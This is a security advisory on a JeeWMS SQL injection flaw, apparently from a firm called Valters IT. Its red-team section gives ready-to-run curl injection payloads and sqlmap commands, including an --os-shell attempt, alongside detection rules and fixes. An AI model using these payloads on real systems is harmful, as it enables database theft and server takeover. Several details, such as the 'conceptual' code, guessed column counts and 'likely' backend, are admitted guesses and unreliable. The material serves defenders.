CVE-2025-5384

Executive Summary

CVE-2025-5384 is a critical unauthenticated SQL injection vulnerability in JeeWMS, an open-source warehouse management system. The flaw resides in the /cgAutoListController.do?datagrid endpoint, specifically within the CgAutoListController class. An attacker can inject arbitrary SQL commands via the datagrid parameter without authentication, leading to full database compromise, data exfiltration, and potential remote code execution through stacked queries. The vendor uses a rolling release model, making version tracking difficult; no official patch has been released. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the vulnerability is trivial to exploit.

Supply Chain & Package Security

JeeWMS is a Java-based web application typically deployed as a WAR file. The vulnerability is in the application code itself, not in a third-party package. However, organizations using JeeWMS should treat this as a critical supply chain risk—if the application is exposed to the internet, an attacker can directly compromise the backend database. No known malicious packages or typosquatting have been reported.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Database can be disrupted or destroyed.

CVSS Score: 9.8 (Critical)
Threat Level: Critical – Immediate remediation required.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the CgAutoListController Spring MVC controller. The datagrid parameter is directly concatenated into a SQL query without parameterization or sanitization. The controller likely builds a dynamic query for auto-complete or data grid functionality.

Root Cause: The developer used string concatenation to build SQL queries instead of prepared statements or ORM parameter binding.

Attack Vector: An attacker sends a crafted HTTP GET request to:

/cgAutoListController.do?datagrid=1' OR '1'='1' -- -

The injected SQL can be used to:

• Bypass authentication (if the query is used for login).
• Extract data from any table (e.g., UNION SELECT).
• Execute stored procedures or stacked queries (if the database driver supports it).
• Write webshells via INTO OUTFILE (if MySQL file privileges are enabled).

Example Payload:

/cgAutoListController.do?datagrid=1' UNION SELECT 1,2,3,@@version,5,6,7,8,9,10-- -

Database Type: Likely MySQL or PostgreSQL (common for JeeWMS). The exact DBMS is not confirmed, but the injection works on any SQL backend.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual Java):

@RequestMapping("/cgAutoListController.do")
public String datagrid(@RequestParam("datagrid") String datagrid, Model model) {
    String sql = "SELECT * FROM auto_list WHERE id = " + datagrid;
    // Execute query...
}

Patched Code (Conceptual):

@RequestMapping("/cgAutoListController.do")
public String datagrid(@RequestParam("datagrid") String datagrid, Model model) {
    String sql = "SELECT * FROM auto_list WHERE id = ?";
    PreparedStatement ps = connection.prepareStatement(sql);
    ps.setString(1, datagrid);
    // Execute query...
}

Patch Status: No official patch. Users must manually fix the code or apply a WAF rule.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• JeeWMS instance accessible over network.
• No authentication required for the vulnerable endpoint.

Step 1: Confirm Injection

curl -k "http://target:8080/cgAutoListController.do?datagrid=1'%20OR%20'1'%3D'1"

If the response differs from a normal request (e.g., returns all records), the injection is confirmed.

Step 2: Extract Database Version

curl -k "http://target:8080/cgAutoListController.do?datagrid=1'%20UNION%20SELECT%201,@@version,3,4,5,6,7,8,9,10--%20-"

Step 3: Dump Tables (MySQL example)

curl -k "http://target:8080/cgAutoListController.do?datagrid=1'%20UNION%20SELECT%201,GROUP_CONCAT(table_name),3,4,5,6,7,8,9,10%20FROM%20information_schema.tables%20WHERE%20table_schema=database()--%20-"

Step 4: Automated Exploitation with sqlmap

sqlmap -u "http://target:8080/cgAutoListController.do?datagrid=1" --batch --dbs

Step 5: Attempt RCE (if MySQL and secure_file_priv is empty)

sqlmap -u "http://target:8080/cgAutoListController.do?datagrid=1" --os-shell

Blue Team (Defensive)

Detection:

• Monitor HTTP requests to /cgAutoListController.do with unusual datagrid parameters (e.g., containing SQL keywords like UNION, SELECT, OR, --).
• Use WAF rules to block SQL injection patterns.

Honeypot:

• Deploy a fake JeeWMS instance and log all requests to the vulnerable endpoint.

Network Segmentation:

• Ensure JeeWMS is not exposed to the internet. Place it behind a VPN or internal network.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /cgAutoListController.do with datagrid parameter containing SQL metacharacters (', ", --, #, /*).
• Outbound database connections from the JeeWMS server to unknown IPs (data exfiltration).
• Unusual database queries in logs (e.g., UNION SELECT, INFORMATION_SCHEMA).

File IOCs:

• Unexpected files in the web root (e.g., cmd.jsp, shell.php) if RCE was achieved.
• Modified JeeWMS configuration files.

Log IOCs:

• Application logs showing SQL errors like You have an error in your SQL syntax.
• Database logs showing queries with injected payloads.

Detection Engineering

YARA Rule

rule CVE_2025_5384_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts against JeeWMS CgAutoListController"
        author = "Valters IT"
        date = "2025-05-05"
        cve = "CVE-2025-5384"
    strings:
        $sqli1 = "datagrid=" nocase
        $sqli2 = "' OR " nocase
        $sqli3 = "UNION SELECT" nocase
        $sqli4 = "1=1" nocase
        $sqli5 = "--" nocase
    condition:
        $sqli1 and any of ($sqli2, $sqli3, $sqli4, $sqli5)
}

Sigma Rule

title: JeeWMS SQL Injection Attempt
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts against JeeWMS /cgAutoListController.do
author: Valters IT
date: 2025/05/05
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '/cgAutoListController.do?datagrid='
        cs-uri-query|contains|all:
            - "'"
            - 'OR'
            - '1=1'
    condition: selection
falsepositives:
    - Legitimate use of single quotes in search parameters (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-5384 JeeWMS SQL Injection Attempt";
    flow:to_server,established;
    content:"/cgAutoListController.do?datagrid=";
    nocase;
    content:"'";
    distance:0;
    content:"OR";
    distance:0;
    content:"1=1";
    distance:0;
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application: Place JeeWMS behind a VPN or firewall. Do not expose it to the internet.
2. Apply WAF rules: Block requests containing SQL metacharacters in the datagrid parameter.
3. Manual code fix: Modify the CgAutoListController.java to use prepared statements. Example:

   @RequestMapping("/cgAutoListController.do")
   public String datagrid(@RequestParam("datagrid") String datagrid, Model model) {
       String sql = "SELECT * FROM auto_list WHERE id = ?";
       try (PreparedStatement ps = connection.prepareStatement(sql)) {
           ps.setString(1, datagrid);
           ResultSet rs = ps.executeQuery();
           // Process results...
       }
   }
   

4. Database hardening: Ensure the database user has minimal privileges (no FILE, CREATE, DROP).

Long-term Actions:

• Monitor the JeeWMS repository for official patches.
• Implement a Web Application Firewall (WAF) like ModSecurity with OWASP CRS.
• Conduct regular code reviews and static analysis (e.g., with FindBugs or SonarQube).

Workaround: If patching is not possible, disable the CgAutoListController endpoint by removing or commenting out the mapping in the Spring configuration.

Valters IT